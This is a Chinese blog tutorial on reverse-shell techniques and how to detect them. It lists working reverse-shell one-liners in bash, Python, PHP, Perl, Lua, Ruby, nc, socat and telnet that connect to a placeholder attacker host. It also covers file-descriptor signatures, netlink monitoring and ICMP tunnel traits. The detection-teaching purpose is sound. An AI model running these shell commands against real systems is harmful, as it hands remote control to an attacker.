【渗透测试】反弹 Shell 技术详解(二)

目录

  • [反弹 Shell 的基本原理](#反弹 Shell 的基本原理)
    • [前置知识:反弹 Shell 技术详解(一)](#前置知识:反弹 Shell 技术详解(一))
      • [一、反弹 shell 的本质](#一、反弹 shell 的本质)
      • 二、网络通信的方式
      • 三、命令执行的方式
      • [四、反弹 shell 分类【组合方式讨论】](#四、反弹 shell 分类【组合方式讨论】)
        • [1. 直接重定向 shell 解释器的输入输出到 socket 类型](#1. 直接重定向 shell 解释器的输入输出到 socket 类型)
        • [2. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转类型](#2. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转类型)
        • [3. 编程语言实现标准输入中转,重定向命令执行的输入到中转](#3. 编程语言实现标准输入中转,重定向命令执行的输入到中转)
      • 五、具体检测方法
        • [1. 命令行检测](#1. 命令行检测)
        • [2. 文件描述符 fd 检测](#2. 文件描述符 fd 检测)
        • [3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测](#3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测)
        • [4. 网络层反弹shell通信特征检测](#4. 网络层反弹shell通信特征检测)
        • [5. 命令行为序列检测](#5. 命令行为序列检测)
        • [6. 异常 shell 启动检测](#6. 异常 shell 启动检测)
        • [7. 沙箱检测](#7. 沙箱检测)
        • [8. 流量特征](#8. 流量特征)
        • [9. 对抗行为检测](#9. 对抗行为检测)
      • 参考资料

反弹 Shell 的基本原理

前置知识:反弹 Shell 技术详解(一)

一、反弹 shell 的本质

  • 原理:控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
  • 使用 :网络通信+命令执行+重定向方式(非必须):命令执行和网络通信借助重定向,构建出一条流动的数据通道,攻击者利用这条通道下发指令控制受害服务器。
    • 网络通信 实现:网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
    • 命令执行 实现:命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
    • 重定向 实现:重定向可以通过管道、成对的伪终端、内存文件等实现。

二、网络通信的方式

  • 四层协议
    • /dev/[tcp|udp]: 文件描述符+重定向。
    • 通过建立socket tcp连接实现网络通信。
    • 通过ICMP协议实现网络通信。
  • 七层协议
    • 使用DNS实现网络通信。

三、命令执行的方式

  • 通过管道符传递命令:echo "hello" | cat
  • 间接系统调用,调用 glibc api 执行系统命令。
  • 直接系统调用,绕过 glibc 执行系统命令。

四、反弹 shell 分类【组合方式讨论】

  • 1、直接重定向Shell解释器的输入输出到Socket类型
  • 2、通过管道、伪终端等中转,再重定向Shell的输入输出到中转
  • 3、编程语言实现标准输入中转,重定向命令执行的输入到中转
1. 直接重定向 shell 解释器的输入输出到 socket 类型

特征:该类型反弹Shell通过重定向bash -i的标准输入、标准输出、标准错误到/dev/tcp Socket进行网络通信。

检测思路:这类反弹Shell的检测可以通过检测Shell的标准输入、标准输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。

举例:【Rhost 远程主机,Rport 远程主机端口】

  1. bash -i >& /dev/tcp/Rhost/Rport 0>&1
python 复制代码
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("Rhost",Rport));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
  1. php -r '$sock=fsockopen("Rhost",Rport);exec("/bin/sh -i <&3 >&3 2>&3");'
perl 复制代码
perl -e 'use Socket;$i="Rhost";$p=Rport;  
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};'
lua 复制代码
lua -e "require('socket');require('os');
t=socket.tcp();
t:connect('Rhost','Rport');
os.execute('/bin/sh -i <&3 >&3 2>&3');"

命令检查思路

  • 使用 ps 找到对应的进程,根据进程 pid 查看 fd【ps afx (f:树结构展示父子进程)】。
  • 使用 ls /proc/[pid]/fd 查看文件描述符 file descriptor。

举例

bash 复制代码
lrwx------. 1 root root 64 Feb 13 16:35 0 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 1 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 2 -> socket:[1202940]
lrwx------. 1 root root 64 Feb 13 16:35 255 -> socket:[1202940]

lrwx------. 1 root root 64 Feb 13 18:58 0 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 1 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 2 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 255 -> socket:[29023953]
lrwx------. 1 root root 64 Feb 13 18:58 5 -> socket:[29023953]
2. 通过管道、伪终端等中转,再重定向Shell的输入输出到中转类型

通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体。

常见场景

a) 管道中转

bash 复制代码
nc Rhost Rport | /bin/sh | nc Rhost 5050
nc -e /bin/bash Rhost Rport
nc -c bash Rhost Rport
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:Rhost:Rport

mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc Rhost Rport > /tmp/f

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Rhost:Rport > /tmp/s; rm /tmp/s

mknod backpipe p; nc Rhost Rport 0<backpipe | /bin/bash 1>backpipe 2>backpipe

bash -c 'exec 5<>/dev/tcp/Rhost/Rport; cat <&5 | while read line; do $line >&5 2>&1; done'

telnet 10.10.10.10 Rport | /bin/bash | telnet Rhost 5050

在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道。

b) 匿名管道【不同反弹 shell 的姿势 fd 特征】

bash 复制代码
exec 5
lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010305]
l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010306]
l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010306]
lrwx------. 1 root root 64 Feb 13 18:55 5 -> socket:[29011974]

nc -e
lr-x------. 1 root root 64 Feb 13 19:02 0 -> pipe:[29037897]
l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29037898]
l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29037898]
lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29039553]
l-wx------. 1 root root 64 Feb 13 19:02 5 -> pipe:[29039554]
lr-x------. 1 root root 64 Feb 13 19:02 6 -> pipe:[29039555]

nc -c
lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052945]
l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052946]
l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052946]
lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054237]
l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054238]
lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054239]

ncat -e
lr-x------. 1 root root 64 Feb 13 19:06 0 -> pipe:[29052872]
l-wx------. 1 root root 64 Feb 13 19:06 1 -> pipe:[29052873]
l-wx------. 1 root root 64 Feb 13 19:06 2 -> pipe:[29052873]
lrwx------. 1 root root 64 Feb 13 19:06 3 -> socket:[29054410]
l-wx------. 1 root root 64 Feb 13 19:06 5 -> pipe:[29054411]
lr-x------. 1 root root 64 Feb 13 19:06 6 -> pipe:[29054412]

socat-EXEC
lr-x------. 1 root root 64 Feb 13 19:19 0 -> pipe:[29102002]
l-wx------. 1 root root 64 Feb 13 19:19 1 -> pipe:[29102003]
l-wx------. 1 root root 64 Feb 13 19:19 2 -> pipe:[29102003]
lrwx------. 1 root root 64 Feb 13 19:19 3 -> socket:[29105502]
lrwx------. 1 root root 64 Feb 13 19:19 4 -> socket:[29105503]
lrwx------. 1 root root 64 Feb 13 19:19 5 -> socket:[29105504]
lrwx------. 1 root root 64 Feb 13 19:19 6 -> socket:[29105505]

rcat
lr-x------. 1 root root 64 Feb 13 14:38 0 -> pipe:[318590]
l-wx------. 1 root root 64 Feb 13 14:38 1 -> pipe:[318591]
l-wx------. 1 root root 64 Feb 13 14:38 2 -> pipe:[318591]
lrwx------. 1 root root 64 Feb 13 14:38 3 -> socket:[319517]

php
lr-x------. 1 root root 64 Feb 13 16:44 0 -> pipe:[1226187]
l-wx------. 1 root root 64 Feb 13 16:44 1 -> pipe:[1226188]
l-wx------. 1 root root 64 Feb 13 16:44 2 -> pipe:[1226188]
lrwx------. 1 root root 64 Feb 13 16:44 3 -> socket:[1226491]
lr-x------. 1 root root 64 Feb 13 16:44 4 -> pipe:[1226492]

lr-x------. 1 root root 64 Feb 13 16:56 0 -> pipe:[1244376]
l-wx------. 1 root root 64 Feb 13 16:56 1 -> pipe:[1244377]
l-wx------. 1 root root 64 Feb 13 16:56 2 -> pipe:[1244377]
lrwx------. 1 root root 64 Feb 13 16:56 3 -> socket:[1244535]

bash196
lr-x------. 1 root root 64 Feb 13 18:55 0 -> pipe:[29010277]
l-wx------. 1 root root 64 Feb 13 18:55 1 -> pipe:[29010278]
lrwx------. 1 root root 64 Feb 13 18:55 196 -> socket:[29011043]
l-wx------. 1 root root 64 Feb 13 18:55 2 -> pipe:[29010278]

perl
lrwx------. 1 root root 64 Feb 13 16:36 0 -> socket:[1206445]
lrwx------. 1 root root 64 Feb 13 16:36 1 -> socket:[1206445]
l-wx------. 1 root root 64 Feb 13 16:36 2 -> pipe:[1205125]
lrwx------. 1 root root 64 Feb 13 16:36 3 -> socket:[1206445]

awk
lr-x------. 1 root root 64 Feb 13 18:38 0 -> pipe:[1543339]
l-wx------. 1 root root 64 Feb 13 18:38 1 -> pipe:[1543340]
l-wx------. 1 root root 64 Feb 13 18:38 2 -> pipe:[1543340]
lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2821241]
lrwx------. 1 root root 64 Feb 13 18:41 4 -> socket:[2821241]

c) 自建管道【fd(句柄)特征】

bash 复制代码
nc-/tmp/f
lr-x------. 1 root root 64 Feb 13 18:58 0 -> pipe:[29024021]
l-wx------. 1 root root 64 Feb 13 18:58 1 -> /tmp/f (deleted)
l-wx------. 1 root root 64 Feb 13 18:58 2 -> pipe:[29021988]
lrwx------. 1 root root 64 Feb 13 18:58 3 -> socket:[29024022]

nc-backpipe
lr-x------. 1 root root 64 Feb 13 19:02 0 -> /root/backpipe
l-wx------. 1 root root 64 Feb 13 19:02 1 -> pipe:[29040260]
l-wx------. 1 root root 64 Feb 13 19:02 2 -> pipe:[29038076]
lrwx------. 1 root root 64 Feb 13 19:02 3 -> socket:[29040261]

telnet-$TF
lr-x------. 1 root root 64 Feb 13 14:47 0 -> /tmp/tmp.5wnXq0URfF
l-wx------. 1 root root 64 Feb 13 14:47 1 -> pipe:[326375]
l-wx------. 1 root root 64 Feb 13 14:47 2 -> pipe:[326286]
lrwx------. 1 root root 64 Feb 13 14:47 3 -> socket:[327426]


telnet-a
lr-x------. 1 root root 64 Feb 13 14:46 0 -> /root/a
l-wx------. 1 root root 64 Feb 13 14:46 1 -> pipe:[325139]
l-wx------. 1 root root 64 Feb 13 14:46 2 -> pipe:[324180]
lrwx------. 1 root root 64 Feb 13 14:46 3 -> socket:[325140]

d)伪终端中转

python 复制代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Rhost",Rport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

【pty.spawn 是 python 用于在伪终端中重新起一个进程】

通过伪终端中转与通过管道等中转原理一样,但通过伪终端中转的检测难度大大提升,单从Shell的标准输入输出来看,和正常打开的终端没有什么区别。此外,一些场景如容器、各类产品Agent等也会有相似的日志记录,平衡漏报与误报的难度上大大提升。因此我们在文件描述符合检测方案的基础上,结合进程、网络等多种日志信息综合分析;

检测思路

经过层层中转,最终会形成一条流动的数据通道。通过跟踪FD(文件描述符File Descriptor)和进程的关系可以检测该数据通道,判断是否为bash进程,获取bash父进程的/proc/[pid]/fd,判断是否有存在fd重定向到pipe或者socket情况

命令检测思路:

  • 1、ps 找到对应的进程,根据进程 pid 查看 fd【ps afx (f:树结构展示父子进程)】
  • 2、ls /proc/[pid]/fd (文件描述符 file descriptor)【句柄特征如上】
3. 编程语言实现标准输入中转,重定向命令执行的输入到中转

第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:

python 复制代码
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('Rhost',Rport))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

lua5.1 -e 'local host, port = "Rhost", Rport local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("Rhost","Rport");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

这类反弹 shell 的 fd 特征

bash 复制代码
ruby
lr-x------. 1 root root 64 Feb 13 18:37 0 -> pipe:[1319065]
l-wx------. 1 root root 64 Feb 13 18:37 1 -> pipe:[1319066]
l-wx------. 1 root root 64 Feb 13 18:37 2 -> pipe:[1319066]
lr-x------. 1 root root 64 Feb 13 18:37 3 -> pipe:[1319358]
l-wx------. 1 root root 64 Feb 13 18:37 4 -> pipe:[1319358]
lr-x------. 1 root root 64 Feb 13 18:37 5 -> pipe:[1319359]
l-wx------. 1 root root 64 Feb 13 18:37 6 -> pipe:[1319359]
lrwx------. 1 root root 64 Feb 13 18:37 7 -> socket:[1319360]

Lua
lr-x------. 1 root root 64 Feb 13 18:41 0 -> pipe:[2720451]
l-wx------. 1 root root 64 Feb 13 18:41 1 -> pipe:[2720452]
l-wx------. 1 root root 64 Feb 13 18:41 2 -> pipe:[2720452]
lrwx------. 1 root root 64 Feb 13 18:41 3 -> socket:[2972610]

这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升

检测思路:

这类常见可结合进程命令行特征+异常命令行为序列+异常shell启动模型

  • 异常命令行为序列:通过分析命令序列与攻击者获取Shell后行为相似度来判定是否为反弹Shell
  • 异常shell启动模型:结合多维度特征以及机器历史行为综合判定产出告警

五、具体检测方法

1. 命令行检测
  • 检测一些常见的命令,通过命令关键字判断是否存在可疑行为。
2. 文件描述符 fd 检测
  • 检测fd 是否指向一个 socket 句柄 :追踪进程的文件描述符,检查其是否连接到socket。
  • 检测 fd 是否指向一个管道符 pipe

不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要根据pid追溯pipe上游的进程,并判断其进程fd,检查是否来自一个socket。

  • netlink监控+fd异常检测
    • 监听Netlink Socket,实时获取进程EXEC事件。
    • 如果为Shell进程,检查进程启动打开的FD,
      • 打开了Socket
      • 未使用/dev/tty、/dev/pts/n、/dev/ptmx等终端
      • 则确认为反弹Shell
3. 脚本文件 && 应用程序 && 无文件(fileless)反弹shell检测
  • 针对"通过系统bash程序实现的反弹shell"的fd监控方案,操作系统分层,Bash只是一个应用程序,除了bash之外,还可以基于任意的应用层技术来实现反弹shell:
    • python/perl实现纯代码形式的反弹shell文件执行:文件脚本检测
    • python/perl实现纯代码形式的反弹shell命令行指令(fileless):纯命令行fileless检测
    • C/C++实现纯代码形式的反弹shell:二进制文件检测
4. 网络层反弹shell通信特征检测
  • 在网络层面,可以通过NTA实时检测包含"cmdline shell特征"的数据包,例如"#root..."等。
  • DNS 反弹 shell 特征检测:针对DNS流量进行分析,判断关联进程是否开启/dev/net/tun,或者/dev/net/tap隧道等。
  • ICMP 反弹 shell 特征检测
    根据正常ping产生的数据包特点,

  • 每秒发送的数据包个数比较少,通常每秒最多只会发送两个数据包;
  • 请求数据包与对应的响应数据包内容一样;
  • 数据包中payload的大小固定,windows下为32bytes,linux下为48bytes;
  • 数据包中payload的内容固定,如果指定ping发送的长度,则为不断重复的固定字符串
    □ windows下为:abcdefghijklmnopqrstuvwabcdefghi,
    □ linux下为:!"#$%&'()+,-./01234567,;
  • type类型只有2种,0和8。0为请求数据,8为响应数据。

对于ICMP隧道产生的数据,有以下特点:

使用 icmpsh 工具进行反弹 shell 截图

  • 每秒发送的数据包个数比较多,在同一时间会产生成百上千个 ICMP 数据包;
  • 请求数据包与对应的响应数据包内容不一样;
  • 数据包中payload的大小可以是任意大小;
  • 存在一些type为13,15,17的带payload的畸形数据包;
  • 个别ICMP隧道工具产生的数据包内容前面会增加 'TUNL' 标记以用于识别隧道。

因此,根据正常ping和ICMP隧道产生的数据包的特点,可以通过以下几点特征检测ICMP隧道:

检测同一来源数据包的数量。正常ping每秒只会发送2个数据包,而ICMP隧道可以每秒发送很多个;

  • 检测数据包中 payload 的大小。正常ping产生的数据包payload的大小为固定,而ICMP隧道数据包大小可以任意;
  • 检测响应数据包中 payload跟请求数据包是否不一致。正常ping产生的数据包请求响应内容一致,而ICMP隧道请求响应数据包可以一致,也可以不一致;
  • 检测数据包中payload 的内容。正常ping产生的payload为固定字符串,ICMP隧道的payload可以为任意;
  • 检测 ICMP数据包的type是否为0和8。正常ping产生的带payload的数据包,type只有0和8,ICMP隧道的type可以为13,15,17。

一套编程的检测编逻辑实现参考

5. 命令行为序列检测
  • 检测反弹 shell 后渗透利用行为。
6. 异常 shell 启动检测
  • 通过感知 shell 启动事件,辅助提升检查效果。
7. 沙箱检测
  • 脚本沙箱
    • 落盘脚本文件: 检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。
    • 混淆类样本: 动态解混淆后进行检测。
    • JAR打包类文件: 进行静态反编译并结合动态运行进行多维度判定。
    • 无文件攻击: 命令序列分析。
  • 二进制沙箱
    • 对于C/C++、Go、MeterPreter Shellcode等二进制反弹Shell开发方式进行了特殊识别和处理,结合导入函数特征、代码特征、二进制在沙箱中的动态行为特征等多个维度进行检测。
8. 流量特征
  • 使用常见Shell通信特征辅助提升反弹Shell检测效果。
9. 对抗行为检测
  • 针对常见绕过方式,如替换系统Shell、命令编码等,作为辅助手段提升检测效果。

参考资料


by 久违

20250313

相关推荐
20242817李臻16 分钟前
项目开发 1-确定选题,制作原型
linux
chen_song_19 分钟前
WebRTC中音视频服务质量QoS之RTT衡量网络往返时延的加权平均RTT计算机制‌详解
网络·音视频·webrtc
努力的搬砖人.33 分钟前
网络安全知识点
网络·网络安全
火绒终端安全管理系统34 分钟前
火绒终端安全管理系统V2.0--分层防御之内容过滤层
网络·安全·网络安全·火绒安全·火绒
让子弹飞021 小时前
10.2linux内核定时器实验(详细编程)_csdn
linux·驱动开发·ubuntu·定时器·stm32mp157·自旋锁
charlie1145141911 小时前
Linux驱动开发框架基础——新旧字符设备驱动笔记整理(1)
linux·驱动开发·笔记·学习·操作系统·教程
小白学安全hhhh1 小时前
VPC4-通达oa-docker逃逸-shiro反序列化-hash传递-CrackMapExec喷射-历史ptt攻击-进程注入
运维·安全·网络安全·docker·容器·网络攻击模型·安全架构
别惊鹊1 小时前
hadoop集群配置-xsync脚本同步环境变量
大数据·linux·hadoop
Hum8le1 小时前
工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》
网络·redis·安全·web安全
清水加冰1 小时前
【Linux网络】HTTPS
网络·网络协议·https